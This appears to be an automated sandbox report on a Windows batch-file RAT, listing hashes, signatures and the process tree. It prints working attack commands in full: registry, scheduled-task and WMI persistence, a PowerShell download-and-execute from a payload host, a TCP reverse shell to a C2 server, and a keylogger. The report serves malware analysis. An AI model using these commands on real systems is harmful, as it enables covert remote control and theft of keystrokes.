Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    29/05/2026, 00:43

General

  • Target
    rat_build_01839_014116.bat
  • Size 4KB
  • Sample260529-a3d4yafs21
  • SHA256 47b94f80e0873084731cb2d65f98c6bf8087740ffd88acc81093c2c6fa680d7c
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://payload.server/update_1839.ps1

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies registry key 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_01839_014116.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4192
    • C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WinUpdate_1839" /tr "C:\Users\Admin\AppData\Local\Temp\_1839.bat" /sc onlogon /ru "SYSTEM" /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:1792
    • C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_1839" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_1839.bat" /f
      2⤵
      • Adds Run key to start application
      • Modifies registry key
      PID:4600
    • C:\Windows\System32\Wbem\WMIC.exe
      wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_1839", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4620
    • C:\Windows\System32\Wbem\WMIC.exe
      wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_1839", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_1839.bat"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4684
    • C:\Windows\system32\curl.exe
      curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_1839.txt
      2⤵
        PID:5816
      • C:\Windows\system32\systeminfo.exe
        systeminfo
        2⤵
        • Gathers system information
        PID:5788
      • C:\Windows\system32\NETSTAT.EXE
        netstat -an
        2⤵
        • Gathers network information
        PID:1600
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_1839.ps1'))"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4968
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1672
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4924

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 81fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 b7066910b871500648f169c9f359c2f0ba6fafd7403a3f2621ca07aa058f09a7
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 1365b85e44b91530238fba7f50ca1124878b209920e919b5e07b521ba495f462
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_vtodm3pe.vum.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vtodm3pe.vum.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/4968-3-0x000001F662690000-0x000001F6626B2000-memory.dmp